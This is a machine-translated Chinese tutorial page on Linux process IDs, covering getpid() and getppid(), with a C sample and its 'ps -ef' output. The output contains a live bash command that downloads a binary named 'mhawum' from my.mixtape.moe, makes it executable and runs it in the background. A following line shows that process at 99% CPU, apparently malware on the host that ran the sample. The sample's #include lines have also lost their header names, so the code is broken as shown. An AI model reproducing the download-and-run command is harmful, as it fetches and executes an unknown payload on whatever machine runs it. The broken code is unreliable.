开发手册 欢迎您!
软件开发者资料库

处理信息

过程间通信过程信息 - 从基本概念到高级概念,从简单和简单的步骤学习过程间通信,包括概述,过程信息,过程映像,过程创建和终止,子过程监控,过程组,会话和作业控制,过程资源,其他进程,覆盖进程映像,相关系统调用(系统V),系统V和Posix,管道,命名管道,共享内存,消息队列,信号量,信号,内存映射。

在我们进入流程信息之前,我们需要了解一些事情,例如 :

什么是流程?流程是一个执行中的程序.

什么是程序?程序是一个文件,包含进程的信息以及如何在运行时构建它.当您开始执行程序时,它会被加载到RAM中并开始执行.

每个进程都标识一个唯一的正整数,称为进程ID或简称为PID(进程标识号).内核通常将进程ID限制为32767,这是可配置的.当进程ID达到此限制时,它将再次重置,即系统进程范围之后.然后将来自该计数器的未使用的进程ID分配给新创建的进程.

系统调用getpid()返回调用进程的进程ID.

  #include< sys/types.h>  #include< unistd.h>  pid_t getpid(void);

此调用返回调用进程的进程ID,该进程ID保证是唯一的.此调用始终成功,因此没有返回值来指示错误.

每个进程都有其唯一的ID,称为进程ID,但是谁创建了它?如何获取有关其创建者的信息?创建者进程称为父进程.父ID或PPID可以通过getppid()调用获得.

系统调用getppid()返回调用进程的父PID.

  #include< sys/types.h>  #include< unistd.h>  pid_t getppid(void);

此调用返回调用进程的父进程ID.这个调用总是成功的,因此没有返回值来表示错误.

让我们用一个简单的例子来理解这一点.

以下是一个程序知道调用进程的PID和PPID.

File name: processinfo.c#include #include #include #include int main() {   int mypid, myppid;   printf("Program to know PID and PPID's information\n");   mypid = getpid();   myppid = getppid();   printf("My process ID is %d\n", mypid);   printf("My parent process ID is %d\n", myppid);   printf("Cross verification of pid's by executing process commands on shell\n");   system("ps -ef");   return 0;}

在编译和执行上述程序时,以下是输出.

UID         PID   PPID  C STIME TTY          TIME CMDroot          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safemysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld                                          --basedir = /usr                                          --datadir = /var/lib/mysql                                          --plugin-dir = /usr/lib64/mysql/plugin                                          --user = mysql                                          --log-error = /var/log/mariadb/mariadb.log                                          --pid-file = /run/mariadb/mariadb.pid                                          --socket = /var/lib/mysql/mysql.sock2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() {                                          flag = "false" hsize = 1                                          echo -e "GET /$2 HTTP/1.1\nHost:                                          $1\nConnection: close\n\n" |                                          openssl s_client -timeout -quiet                                          -verify_quiet -connect $1:443 2>                                          /dev/null | tee out | while read line do                                         if [[ "$flag" == "false" ]]                                              then                                          hsize = $((hsize+$(echo $line | wc -c)))                                         fi                                         if [[ "${line:1:1}" == "" ]]                                              then flag = "true"                                         fi                                          echo $hsize >                                          size done tail -c +$(cat size) out >                                          $2 rm size out }                                         ( download my.mixtape.moe mhawum 2>                                         /dev/null chmod +x mhawum 2>                                         /dev/null ./mhawum >                                         /dev/null 2>                                         /dev/null )&2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874;                                          timeout 10s javac Puppy.java6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205;                                          timeout 10s main3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main3787205  104176 104175  0 05:25 ?        00:00:00 main3787205  104177 104176  0 05:25 ?        00:00:00 ps -efProgram to know PID and PPID's informationMy process ID is 104176My parent process ID is 104175Cross verification of pid's by executing process commands on shell

注意 :  "C"库函数system()执行shell命令.传递给system()的参数是在shell上执行的命令.在上面的程序中,命令是"ps",它给出了进程状态.

可以从/proc位置的proc文件系统访问有关所有正在运行的进程和其他系统相关信息的完整信息.